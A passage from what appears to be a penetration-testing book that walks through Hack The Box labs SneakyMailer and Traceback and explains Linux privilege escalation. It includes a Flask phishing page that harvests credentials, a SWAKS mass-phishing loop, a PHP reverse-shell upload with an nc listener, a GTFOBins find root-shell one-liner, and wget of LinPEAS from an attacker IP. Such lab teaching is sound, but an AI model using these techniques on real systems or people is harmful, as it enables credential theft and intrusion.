9 /vendor (Status: 301)
10 /pypi (Status: 301)

We get a number of directories, the most interesting of which is pypi. We can run a further
gobuster on this directory:

1 ┌─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\
4
hide01.ir
-x .php -u http://sneakycorp.htb/pypi/
5 /register.php (Status: 200)

Going to that page, we get an account registration page

Sneaky Corp account registration

Filling out details and clicking register account does not seem to do anything. No account
is added to the emails in the team page and there is nowhere to actually login. Likewise, the
Logout function on the home page does not do anything either.

Given we have found email addresses and a registration page and the fact that the
machine has a mail server and is called SneakyMailer, we can guess that this may be
suggesting that we could exploit a phishing attack.

At this point it would be relatively simple to use Gophish to set up a campaign, clone the
registration web page and capture any responses. However, we will use a different tool to
clone the web page called HTTrack. HTTrack is capable of copying an entire website, but
we will use it to capture the registration page.

Create a directory called www and a subdirectory called templates. cd to the templates
directory and run:
hide01.ir
httrack http://sneakycorp.htb/pypi/register.php -o .

This will copy a number of files but we can copy the register.html page created from the
path sneakycorp.htb/pypi/register.html to the current directory

cp sneakycorp.htb/pypi/register.html

We are now going to write a simple application to host this page, capture any data that is
sent to it and then redirect to the real registration page. To do this we will use Python and
Flask.

1 # Code adapted from MrR3boot


2 from flask import *
3 import requests
4 app = Flask(__name__)
5 @app.route('/pypi/register.php',methods=['GET','POST'])
6 def register():
7 if request.method=="GET":
8 return render_template("register.html")
9 else:
10 print(request.args)
11 print(request.form)
12 return redirect('http://sneakycorp.htb/pypi/register.php',
13 code=302)
14
15 app.run('0.0.0.0',80)

This code will start a web server listening on port 80 and any request received with the path
/pypi/register.php will be handled by the method register(). If the HTTP request is a GET,
then it will use the page we cloned; register.html as a template and return that. If it is a
POST request, the application will print out the arguments and form data and then redirect
to the real registration page.

To run the application, we just use


hide01.ir
sudo python3 app.py

You can test the page by visiting http://127.0.0.1/pypi/register.php and submit the form.
You should see the data being printed out and the page redirect to the sneakycorp.htb site.

Now that we have the landing page, we need to send the phishing emails using the email
list we scraped from the Sneaky Corp site. To do that, we are going to use SWAKS as
mentioned before. We can write a script to read through the emails in the emails.txt file and
send a message containing the URL for the phishing landing page:

1 #!/bin/bash
2 for email in `cat emails.txt`
3 do
4 echo "[*] sending to $email"
5 swaks --from [email protected] --to $email
6 --server sneakycorp.htb
7 --header 'Subject: Please register your account'
8 --body 'http://10.10.14.117/pypi/register.php'
9 done

As this script runs, it will print out debugging information

1 [*] sending to [email protected]


2 === Trying sneakycorp.htb:25...
3 === Connected to sneakycorp.htb.
4 <- 220 debian ESMTP Postfix (Debian/GNU)
5 -> EHLO parrot
6 <- 250-debian
7 <- 250-PIPELINING
8 <- 250-SIZE 10240000
9 <- 250-VRFY
10 <- 250-ETRN
11 <- 250-STARTTLS
12 <- 250-ENHANCEDSTATUSCODES
13 <- 250-8BITMIME
14 <- 250-DSN
15 <- 250-SMTPUTF8
16 <- 250 CHUNKING
17 -> MAIL FROM:<[email protected]>
18 <- 250 2.1.0 Ok
hide01.ir
19 -> RCPT TO:<[email protected]>
20 <- 250 2.1.5 Ok
21 -> DATA
22 <- 354 End data with <CR><LF>.<CR><LF>
23 -> Date: Tue, 15 Dec 2020 13:14:41 +0800
24 -> To: [email protected]
25 -> From: [email protected]
26 -> Subject: Please register your account
27 -> Message-Id: <20201215131441.004588@parrot>
28 -> X-Mailer: swaks v20201014.0
29 -> jetmore.org/john/code/swaks/
30 ->
31 -> http://10.10.14.117/pypi/register.php
32 ->
33 ->
34 -> .
35 <- 250 2.0.0 Ok: queued as 38CD624256
36 -> QUIT
37 <- 221 2.0.0 Bye

And eventually we will get a hit on the landing page:

1 ┌─[✗]─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $sudo python3 app.py
3 [sudo] password for rin:
4 * Serving Flask app "app" (lazy loading)
5 * Environment: production
6 WARNING: This is a development server. Do not use it in
7 a production deployment.
8 Use a production WSGI server instead.
9 * Debug mode: off
10 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
11 ImmutableMultiDict([])
12 ImmutableMultiDict([('firstName', 'Paul'),
13 ('lastName', 'Byrd'), ('email',
14 '[email protected]'),
15 ('password', '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'),
16 ('rpassword', '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht')])
17 10.129.2.28 - - [15/Dec/2020 13:15:06]
18 "POST /pypi/register.php HTTP/1.1" 302 -

The user Paul Byrd with email address [email protected] and password
^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht responded to the phishing email.
hide01.ir
These credentials don't work with FTP or SSH but we can use them to connect to the mail
server and read emails.

To install Thunderbird use:

sudo apt install thunderbird

Configure the mail settings as shown here:

Mail settings for Paul Byrd

You may get an error regarding an error regarding a certificate but you can ignore that. In
the Sent Items folder, there are two emails. The first is regards to a password reset request
hide01.ir

Password reset request in Sent Items

The second email is about module testing.

Email regarding module testing

From the first email, we have a username and password for developer and logging into FTP,
we see that these credentials work. After logging in, we can see that there is a dev folder
with the contents of what looks like the website in it.

1 ┌─[rin@parrot]─[~/boxes/SneakyMailer/]
2 └──╼ $ftp sneakymailer.htb
3 Connected to sneakymailer.htb.
4 220 (vsFTPd 3.0.3)
5 Name (sneakymailer.htb:oztechmuse): developer
6
hide01.ir
331 Please specify the password.
7 Password:
8 230 Login successful.
9 Remote system type is UNIX.
10 Using binary mode to transfer files.
11 ftp> dir
12 200 PORT command successful. Consider using PASV.
13 150 Here comes the directory listing.
14 drwxrwxr-x 8 0 1001 4096 Jun 30 00:15 dev
15 226 Directory send OK.
16 ftp> cd dev
17 250 Directory successfully changed.
18 ftp> dir
19 200 PORT command successful. Consider using PASV.
20 150 Here comes the directory listing.
21 drwxr-xr-x 2 0 0 4096 May 26 2020 css
22 drwxr-xr-x 2 0 0 4096 May 26 2020 img
23 -rwxr-xr-x 1 0 0 13742 Jun 23 08:44 index.php
24 drwxr-xr-x 3 0 0 4096 May 26 2020 js
25 drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
26 drwxr-xr-x 4 0 0 4096 May 26 2020 scss
27 -rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
28 drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
29 226 Directory send OK.
30 ftp>

We can try writing to the directory by using a put command. It turns out that we can upload
files to the dev directory but when looking at the website, they are not there. One thing we
haven't checked is if there are any virtual hosts. Virtual hosts are ways of creating different
websites pointing at different directory paths simply by changing the host name in the
HTTP request. We can use gobuster to see if there are any virtual hosts for the domain
sneakycorp.htb and indeed we find that there is a virtual host dev.sneakycorp.htb:

1 ┌─[✗]─[oztechmuse@parrot]─[~/boxes/SneakyMailer/]
2 └──╼ $gobuster vhost -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\
4 -u sneakycorp.htb
5 <SNIP>
6 ===============================================================
7 Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
hide01.ir
We can upload a PHP reverse shell that we copy from /usr/share/webshells/php/php-
reverse-shell.php. We can change the IP address and port in the file and start a netcat
listener on that port. In ftp we simply cd to the dev directory and do a put of the file.

1 ftp> put revshell.php


2 local: revshell.php remote: revshell.php
3 200 PORT command successful. Consider using PASV.
4 150 Ok to send data.
5 226 Transfer complete.
6 5494 bytes sent in 0.00 secs (98.8582 MB/s)
7 ftp>

Calling the file from http://dev.sneakycorp.htb/revshell.php will get a reverse shell on our
listener:

1 ┌─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.2.28] 45354
5 Linux sneakymailer 4.19.0-9-amd64
6 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
7 08:01:00 up 10:35, 0 users, load average: 0.00, 0.02, 0.00
8 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
9 uid=33(www-data) gid=33(www-data) groups=33(www-data)
10 /bin/sh: 0: can't access tty; job control turned off
11 $ whoami
12 www-data

We can then upgrade the shell using

1 $python3 -c 'import pty;pty.spawn("/bin/bash");'


2 www-data@sneakymailer:/$ ^Z
3 [1]+ Stopped nc -lvnp 6001
4 ┌─[✗]─[rin@parrot]─[~/boxes/SneakyMailer]
5 └──╼ $stty raw -echo
6 ┌─[rin@parrot]─[~/boxes/SneakyMailer]
7 nc -lvnp 6001
8 www-data@sneakymailer:/$
hide01.ir

Chapter 7 Linux Enumeration and Privilege


Escalation
hide01.ir
Enumeration and privilege escalation on
Linux
By this stage we have gained initial access to a machine as a user. Having achieved this
objective, our goal is to get administrative access to the box. This may not be a direct
path from the initial user but it will start with more enumeration to find vulnerabilities that
will allow us to either elevate our privileges directly by becoming the administrator or
determine a path through obtaining access to other users first.

Linux User Privileges

A user on a system is granted privileges to perform actions on that system. On Linux, user
privileges are expressed as the ability to read from, write to or execute files on the system.
These privileges are a property of the file itself rather the actual user. Users belong to
groups and file permissions can be limited to specific groups as well.

This shows the file permissions for a file file.sh. You can get this listing by doing an ls -l at
the shell prompt. The permissions are listed to the left and start with the file type. This will
be 'd' for a directory and '-' for a file. This is followed by the read (r), write (w) and execute
(x) permissions in 3 sets of 3. The first set of permissions apply to the owner of the file, in
this case rin, the second group of permissions apply to the group 'web' and the third set of
permissions applies to everyone else or 'all'.

These permissions are set on directories as well. In the case of directories, the execute
permission allows a user to enter and list the directory.
hide01.ir
There are other permissions that are important as well, the main one being the set user or
group id (SUID or SGID) permission. The SUID bit means that anyone else who has
permission to run the program will run as the effective user id of the owner of the file. We
can demonstrate this with the following program:

1 #include <stdio.h>
2 #include <unistd.h>
3 int main ()
4 {
5 printf("Real uid: %d\n", getuid());
6 printf("Effective uid: %d\n", geteuid());
7 }

This just prints out the user id and effective user id. If we compile the program, chane the
ownership to user root and group root and then run it we get:

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $gcc -o testuid testuid.c
3 ┌─[rin@parrot]─[~/boxes/book]
4 └──╼ $ls -al
5 total 28
6 drwxr-xr-x 1 rin rin 58 Dec 23 11:23 .
7 drwxrwxrwx 1 rin rin 190 Dec 23 10:37 ..
8 -rwxr-xr-x 1 rin rin 16712 Dec 23 11:23 testuid
9 -rw-r--r-- 1 rin rin 147 Dec 23 11:19 testuid.c
10 ┌─[rin@parrot]─[~/boxes/book]
11 └──╼ $sudo chown root:root testuid
12 ┌─[rin@parrot]─[~/boxes/book]
13 └──╼ $./testuid
14 Real uid: 1000
15 Effective uid: 1000

This prints out the user id of rin which is 1000. if we now set the suid bit with chmod and
run again, we get:

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $sudo chmod u+s testuid
3 ┌─[rin@parrot]─[~/boxes/book]
4 └──╼ $./testuid
hide01.ir
5 Real uid: 1000
6 Effective uid: 0

The effective uid is now 0 which is the user id of root. It is sometimes convenient to use
suid or sgid on a binary but it obviously opens up a vulnerability through granting someone
unintended privileges through simple oversight. We can search for files with these
permissions set with the find command:

1 find / -perm -u=s -type f 2>/dev/null


2 find / -perm -g=s -type f 2>/dev/null

The permissions described here are not the only way to control access to files in Linux or
other Unix systems. Linux supports Access Control Lists (ACLs) on files as well that allow
more sophisticated control over who gets access to a file and what they can do with it. We
can look at the ACL of a file using getfacl

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $getfacl testuid
3 # file: testuid
4 # owner: root
5 # group: root
6 # flags: s--
7 user::rwx
8 group::r-x
9 other::r-x

By default, the ACL will be set to the permissions on the file. We can set additional access
controls using setfacl. When this is used, the file listing will have the + flag set on it. Let us
take a file file.txt that is created by root and has the contents "Hello World" in it. When user
rin tries to read the file, she will get permission denied:

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $ls -al
3 total 32
4
hide01.ir
drwxr-xr-x 1 rin rin 62 Dec 23 12:23 .
5 drwxrwxrwx 1 rin rin 190 Dec 23 10:37 ..
6 -rw-r----- 1 root root 13 Dec 23 12:24 file.txt
7 ┌─[✗]─[rin@parrot]─[~/boxes/book]
8 └──╼ $cat file.txt
9 cat: file.txt: Permission denied

If we now set an ACL to allow rin to read the file, list the file and then cat again we get:

1 ┌─[✗]─[rin@parrot]─[~/boxes/book]
2 └──╼ $sudo setfacl -m u:rin:r file.txt
3 ┌─[rin@parrot]─[~/boxes/book]
4 └──╼ $ls -al
5 total 32
6 drwxr-xr-x 1 rin rin 62 Dec 23 12:23 .
7 drwxrwxrwx 1 rin rin 190 Dec 23 10:37 ..
8 -rw-r-----+ 1 root root 13 Dec 23 12:24 file.txt
9 ┌─[rin@parrot]─[~/boxes/book]
10 └──╼ $cat file.txt
11 Hello World

Note the + on the permissions after setting the ACL. rin can now read the file. If we list the
ACL of the file, we can see that the user rin has been granted access to file.txt in addition to
the owner root.

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $getfacl file.txt
3 # file: file.txt
4 # owner: root
5 # group: root
6 user::rw-
7 user:rin:r--
8 group::r--
9 mask::r--
10 other::---

We have seen an example of the use of suid files in the Hack The Box machine Ellingson
(REF XXX) where a buffer overflow of an application, owned by root and with the suid
hide01.ir
permission set allowed us to run a shell as root. Having a file with suid set and owned by a
more privileged user is only part of the equation. We also need to find a way for that
running that program will allow us to perform an action such as run a local or reverse shell
or read or write to a file. Fortunately, there are a large number of Linux applications that will
allow us to do exactly that. A list of them is available on GTFOBins
(https://gtfobins.github.io/#+suid\). As an example, we can take the application find. Here
we are going to create a local copy of the find command and set the suid bit on it and then
execute to drop to a shell as root.

1 ┌─[rin@parrot]─[~/boxes/book/test]
2 └──╼ $sudo install -m =xs $(which find) .
3 [sudo] password for rin:
4 ┌─[rin@parrot]─[~/boxes/book/test]
5 └──╼ $./find . -exec /bin/sh -p \; -quit
6 # whoami
7 root
8 # id
9 uid=1000(rin) gid=1000(rin) euid=0(root) egid=0(root)
10 groups=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),
11 29(audio),30(dip),44(video),46(plugdev),109(netdev),
12 118(debian-tor),124(bluetooth),140(scanner),1000(rin)
13 #

This type of exploit is called living of the land (LoTL) as we are exploiting tools and
applications that are already on the system and not having to install bespoke software that
might get picked up by AV software or other software monitoring for unusual activity.

Linux Enumeration

One of the easiest things to do to enumerate a system after gaining access is to run a script
file like PEAS (Privilege Escalation Awesome Scripts)
(https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite\). This checks
for an extensive, but not necessarily exhaustive, list of potential vulnerabilities. It produces
a great deal of output that is colour coded and references explanations of its findings on
the GitHub site HackTricks (https://book.hacktricks.xyz/linux-unix/privilege-
escalation#path\).
hide01.ir
Going through each of the specific things that LinPEAS checks will be too extensive and so
we will not go through each step but focus on the main general areas that could be done
manually as well. The basic principles however is to run through an enumeration process
that is looking for vulnerabilities, including misconfigurations that are exploitable and any
information that we can use for both further access and exploitation or simply information
that is of value from the target.

The enumeration will aim to understand the system that you have access to in detail
including, the physical characteristics, network, software that is running on it, including
system software. As with remote access, we are looking for vulnerabilities related to
software versions that we can exploit because we have local access. The same rules apply
as before, depending on whether we actually have the user's password and are able to
exploit authenticated vulnerabilities as well as unauthenticated ones. Whilst doing this, we
are going to pay specific attention to potential misconfigurations that can be exploited such
as execution paths that allow scripts and binaries to be run as part of the normal
processing on the system. User privileges that allow execution of administrative commands
such as sudo, installing or running services, etc

At the same time, we are searching for information that might be accessible and useful,
including but not limited to, usernames and passwords. This might be in documents,
configuration files and databases.

Looking for information

The file layout of a Linux (or *nix) machine is usually of the format

1 /bin -> usr/bin


2 /boot
3 /dev
4 /etc
5 /home
6 /lib -> usr/lib
7 /media
8 /mnt
9 /opt
10 /proc
11 /root
12 /run
13 /sandbox
14 /sbin -> usr/sbin
15 /srv
hide01.ir
16 /sys
17 /tmp
18 /usr
19 /var

In more detail:

/ is the root directory and only the user root has access to write in this directory. The user
root's home directory is /root.

/bin contains user binary executables like ps, ls, ping, grep etc. it is a symbolic link to
/usr/bin

/sbin contains system binaries like iptables, reboot, fdisk, ifconfig, etc.

/etc contains configuration files and scripts for services running on the system.
Configuration files for the Apache 2 web server are in /etc/apache2 for example. Also
contains the passwd and shadow files that contain user and password information.

/dev contains device files that are the interface with physical devices on, or attached to, the
system such as tty devices /dev/tty1. /dev/shm is a directory that is commonly used as a
way of passing information between applications through shared memory. This is a virtual
directory and anything written to it is stored in memory and not actually written to disk.
Consequently, even though /tmp and /dev/shm get wiped on reboot of the machine, files in
/tmp could potentially be restored forensically even after being wiped.

/proc contains files that store information about system processes like uptime for example.

/var contains files like logs (/var/logs), backups (/var/backups), mail (/var/mail) and spool
(printing; /var/spool). There is also a /var/tmp directory that can be used to run programs
out of. This directory does survive reboots however. The directory /var/www/html is often
used as the root directory of the web server.

/tmp contains temporary files as mentioned previously. Files get deleted on reboot.

/usr contains user binaries, libraries, documentation and source code


hide01.ir
/usr/local contains users programs that you install from source.

/home contains user home directories

/boot contains boot loader files

/lib contains system libraries

/opt contains optional add-on applications

/mnt is a location for mounting temporary filesystems

/media is a location for mounting removable media devices like CDs

/srv contains specific service related data

Enumerating the file system

When enumerating the file system, the /home directory is a good place to start, especially if
you have access to any of the users on the system.

Home directories on Linux usually contain a number of files and directories that are hidden
because they start with a ".". To list them, you need to use the ls -la flag. Some of these files
are resource script files like .bashrc (if you are running bash) that configure the bash
environment. Things like configuring the amount of history that is kept which is normally
viewable by typing history or by listing the .bash_history file. Other programs such as
browsers and email clients keep hidden directories and files in the user's home directory
and so these are a good place to look for potentially sensitive information.

Other locations that can be checked are:

/var/backups which is a potential location for backups of sensitive files that may be
accessible.

/var/log is normally only accessible by root but if your user is part of the adm group, it may
be able to read some of the system log files and log files belonging to web and database
servers.
hide01.ir
/etc for configuration information for web servers and databases. The /etc/passwd file is
readable by all users and will reveal information about the users on the system, which ones
can login and where their home directories are located.

/opt can contain additional software that has been installed by a user and so is a good
place to look for things that are non-standard on the system.

/usr/local is another location of applications and libraries that have been installed from
source.

/bin, /sbin, /usr/local/bin we have already seen that searching for binaries that have the
suid of guid bit set is often an easy exploitable vulnerability and that we can search for
these generally on the system or specifically in these directories.

Another way of exploring what applications have been installed on a system is through the
specific package manager tool for the Linux distribution of the machine. One of the most
common tools for this is APT but there are a raft of others lime RPM or YUM for RedHat
systems. Using apt, you can investigate what packages have been installed on the system
with the command

apt --list

If we want to see what files a package has installed, we can use dpkg-query as follows:

1 ┌─[rin@parrot]─[~]
2 └──╼ $dpkg-query -L vim-common
3 /.
4 /etc
5 /etc/vim
6 /etc/vim/vimrc
7 /usr
8 /usr/bin
9 /usr/bin/helpztags
10 /usr/lib
11 /usr/lib/mime
12
hide01.ir
/usr/lib/mime/packages
13 /usr/lib/mime/packages/vim-common
14 <SNIP>

We can also find out what package a specific file was installed from using the dpkg
command:

1 ┌─[rin@parrot]─[~]
2 └──╼ $dpkg -S /usr/bin/nvim
3 neovim: /usr/bin/nvim

Enumerating processes

As a starting point, we can list the running processes on a machine using the ps command:

echo "$(ps aux)"

Which will produce output of the type

1 root 738 0.7 4.7 868380 285788 tty7 Ssl+ 2020 20:09
2 /usr/lib/xorg/Xorg :0 -seat seat0
3 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7
4 -novtswitch
5 root 739 0.0 0.0 2672 1616 tty1 Ss+ 2020 0:00
6 /sbin/agetty -o -p -- \u --noclear tty1 linux
7 redis 744 0.5 0.8 199724 50820 ? Ssl 2020 14:21
8 /usr/bin/redis-server 127.0.0.1:0
9 postgres 769 0.0 0.4 212832 24896 ? Ss 2020 0:24
10 /usr/lib/postgresql/13/bin/postgres
11 -D /var/lib/postgresql/13/main -c config_
12 file=/etc/postgresql/13/main/postgresql.conf
13 postgres 770 0.0 0.4 211568 25044 ? Ss 2020 0:09
14 /usr/lib/postgresql/12/bin/postgres
15 -D /var/lib/postgresql/12/main
16
hide01.ir
-c config_file=/etc/postgresql/12/main/postgresql.conf
17 postgres 793 0.0 0.1 212936 6120 ? Ss 2020 0:00
18 postgres: 13/main: checkpointer

We are looking for any unusual programs running and who they are being run by. This gives
us a static view of the processes however and doesn't necessarily show processes that are
run periodically and then terminate after a short period. To look at this sort of behaviour, we
can use a program called pspy64 (https://github.com/DominicBreuker/pspy\) which will
monitor processes and highlight when new processes run.

Services are usually long running processes, often run by specific accounts or root that
provide functionality such as communication, transportation, databases, web servers, etc.
You can list the services running on.a machine using

service --status-all

For each individual service, you can get additional information using the systemctl
application and then specific client applications that may communicate with the service.

1 ┌─[✗]─[rin@parrot]─[~]
2 └──╼ $systemctl status ufw
3 ufw.service - Uncomplicated firewall
4 Loaded: loaded (/lib/systemd/system/ufw.service; enabled;
5 vendor preset: enabled)
6 Active: active (exited) since 2 weeks 3 days ago
7 Docs: man:ufw(8)
8 Main PID: 370 (code=exited, status=0/SUCCESS)
9 Tasks: 0 (limit: 7009)
10 Memory: 0B
11 CGroup: /system.slice/ufw.service

Cron is a job scheduler that runs a process periodically. It is configured using a client
application crontab but you may have access to list cron jobs that are configured in a
number of different locations:
1
hide01.ir
/etc/crontab.hourly
2 /etc/crontab.daily
3 /etc/crontab.weekly
4 /etc/crontab.d

and in the file /etc/crontab. You can also list cron jobs for the current user using

crontab -l

LinPEAS will do all of the above and we will cover a few specific examples of enumeration
using LinPEAS. It is important to remember however that this doesn't substitute for manual
enumeration. LinPEAS, even in its "Stealth" mode will be very noisy because it will likely flag
unusual behavior for the user for any anomalous behavior detection software.
hide01.ir
Exercise: Enumeration and privilege
escalation on Traceback
An nmap scan of the box reveals ports 80 and 22 are open.

1 PORT STATE SERVICE VERSION


2 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.
3 | ssh-hostkey:
4 | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
5 | 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
6 |_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
7 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8 | http-methods:
9 |_ Supported Methods: POST OPTIONS HEAD GET
10 |_http-server-header: Apache/2.4.29 (Ubuntu)
11 |_http-title: Help us
12 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Going to the website at the IP address, we get a page saying that the site has been "owned"
by a hacker and that a backdoor has been installed.

Traceback home page

The source code of the page has a comment:

<!--Some of the best web shells that you might need ;)-->
hide01.ir
If we do an Internet search with this line, we get a Github site of Web-Shells in ASP, JSP and
PHP (https://github.com/TheBinitGhimire/Web-Shells\). We know from nmap that the
machine is running Ubuntu and so is not going to be running ASP which is a Microsoft
technology. We would also assume that if the site was running JSP, we might have picked
up Tomcat when doing the nmap but it is running Apache. So we will assume that it is
running PHP for the time being. We can run a gobuster directory scan and use a special
wordlist from SecLists that has common backdoor shell names in it:

1 ┌─[oztechmuse@parrot]─[~/boxes/Traceback]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/SecLists/Discovery/Web-Content/\
4 CommonBackdoors-PHP.fuzz.txt -u http://traceback.htb
5
6 <SNIP>
7 /smevk.php (Status: 200)

This gives us a file smevk.php which is indeed one of the web shells from the GitHub site.
When we go to that file on the site, we get a login asking for a username and password as
shown here.
hide01.ir

smevk.php login page

.Looking at the code, of this shell, we see that there is a username and password "admin"
and "admin":

1 <?php
2 /*
3 SmEvK_PaThAn Shell v3 Coded by Kashif Khan .
4
5 https://www.facebook.com/smevkpathan
6
7 [email protected]
8 Edit Shell according to your choice.
9 Domain read bypass.
10 Enjoy!
11 */
12 //Make your setting here.
13 $deface_url = '
14 http://pastebin.com/raw.php?i=FHfxsFGT
15 '; //deface url here(pastebin).
16 $UserName = "admin"; //Your UserName here.
17 $auth_pass = "admin"; //Your Password.
18 //Change Shell Theme here//
19
hide01.ir
$color = "#8B008B"; //Fonts color modify here.
20 $Theme = '#8B008B'; //Change border-color.
21 $TabsColor = '#0E5061'; //Change tabs color here.
22 #-------------------------------------------------------------------------
23 ?>

1 <?php
2 $smevk ="...";
3 eval("?>".(base64_decode($smevk)));
4 ?>

smevk.php home page after logging in

After logging in, we are presented with information that the shell has gathered that includes
the username and group that we are executing as, the name of the machine and its
operating system information, and a listing of the directory of /var/www/html which is the
root web directory. Unfortunately, the poor choice of colors makes the page difficult to read
and so we should try and get a reverse shell to be able to explore more efficiently. We can
do that by executing a bash reverse shell in the Execute section of the web shell.
hide01.ir

Starting a netcat listener on port 6001, we get a hit when the script is executed and we can
then upgrade the shell

1 webadmin@traceback:/var/www/html$ python3 \
2 -c 'import pty;pty.spawn("/bin/bash");'
3 webadmin@traceback:/var/www/html$ ^Z
4 [1]+ Stopped nc -lvnp 6001
5 ┌─[✗]─[rin@parrot]─[~/boxes/Traceback]
6 └──╼ $stty raw -echo
7 ┌─[rin@parrot]─[~/boxes/Traceback]
8 └──╼ nc -lvnp 6001
9 webadmin@traceback:/var/www/html$

Now that we are on the box, we can start with some simple enumeration. The first thing is
to check what users are on the box by looking at the passwd file:

1 webadmin@traceback:/var/www/html$ cat /etc/passwd


2 root:x:0:0:root:/root:/bin/bash
3 <SNIP>
4 webadmin:x:1000:1000:traceback,,,:/home/webadmin:/bin/bash
5 sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
6 sysadmin:x:1001:1001::/home/sysadmin:/bin/sh

From this file, we can see that there are three users that have home directories and can
login; root, webadmin and sysadmin. Users that are not expected to login do not have a
home directory configured and instead of a shell, will have the /usr/sbin/nologin program
that will log the attempted login and print a message saying the "This account is currently
not available". Exploring their home directories, we only have access to /home/webadmin,
since that is who we are, and in that directory, we find a file note.txt with the contents:
hide01.ir
1 webadmin@traceback:/home/webadmin$ cat note.txt
2 sysadmin -
3 I have left a tool to practice Lua.
4 I'm sure you know where to find it.
5 Contact me if you have any question.
6 webadmin@traceback:/home/webadmin$

Looking at webadmin's home directory in more detail, we find that the .bash_history file has
some content. Looking at that file, we get:

1 webadmin@traceback:/home/webadmin$ ls -al
2 total 44
3 drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 2020 .
4 drwxr-xr-x 4 root root 4096 Aug 25 2019 ..
5 -rw------- 1 webadmin webadmin 105 Mar 16 2020 .bash_history
6 -rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout
7 -rw-r--r-- 1 webadmin webadmin 3771 Aug 23 2019 .bashrc
8 drwx------ 2 webadmin webadmin 4096 Aug 23 2019 .cache
9 drwxrwxr-x 3 webadmin webadmin 4096 Aug 24 2019 .local
10 -rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history
11 -rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile
12 drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 2020 .ssh
13 -rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 2020 note.txt
14 webadmin@traceback:/home/webadmin$ cat .bash_history
15 ls -la
16 sudo -l
17 nano privesc.lua
18 sudo -u sysadmin /home/sysadmin/luvit privesc.lua
19 rm privesc.lua
20 logout

So this looks like webadmin can run a program /home/sysadmin/luvit as the user
sysadmin using sudo and pass it a Lua script.

Let us run LinPEAS and see what it finds. To get linpeas.sh we can run a python3 web
server from our machine and then use wget from Traceback. Copy linpeas.sh into a
directory and then run:

python3 -m http.server 8000


hide01.ir
On Traceback, we can fetch linpeas.sh into a temporary directory /dev/shm. The benefit of
using this directory rather than /tmp is that when the machine gets rebooted, the /dev/shm
will be cleared, cleaning up any files we might have forgotten. Once downloaded, we
change the permissions to execute and then run, putting the output into a file:

1 webadmin@traceback:/dev/shm$ wget
2 http://10.10.14.117:8000/linpeas.sh
3
4 --2020-12-27 20:31:05--
5 http://10.10.14.117:8000/linpeas.sh
6
7 Connecting to 10.10.14.117:8000... connected.
8 HTTP request sent, awaiting response... 200 OK
9 Length: 299897 (293K) [text/x-sh]
10 Saving to: 'linpeas.sh'
11 linpeas.sh 100%[===================>] in 1.2s
12 2020-12-27 20:31:07 (237 KB/s) - 'linpeas.sh' sav
13 webadmin@traceback:/dev/shm$ chmod a+x linpeas.sh
14 webadmin@traceback:/dev/shm$ ./linpeas.sh -s > linpeas.out

Going through the output, the first we find is further evidence that webadmin can run sudo
as indicated by the bash history we found earlier. In the LinPEAS output, we see that the
output from sudo -l which lists that webadmin has the ability to run the program luvit in
/home/sysadmin/luvit/ as user sysadmin:

1 [+] Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d


2 [i]
3 https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
4
5 Matching Defaults entries for webadmin on traceback:
6 env_reset, mail_badpass,
7 secure_path=/usr/local/sbin\:/usr/local/bin\
8 :/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
9 User webadmin may run the following commands on traceback:
10 (sysadmin) NOPASSWD: /home/sysadmin/luvit
hide01.ir
Right now, we could continue our enumeration but we seem to have a path to getting
access to the sysadmin user and we are going to explore that first. Based on the note, we
think that the luvit program will execute Lua script. Lua is the scripting language that nmap
uses for any external functionality that it can run. We can use the program running as
sysadmin to write an SSH key to the authorized_keys file in the home directory of
sysadmin. The first thing to do is to generate an SSH key using ssh-keygen:

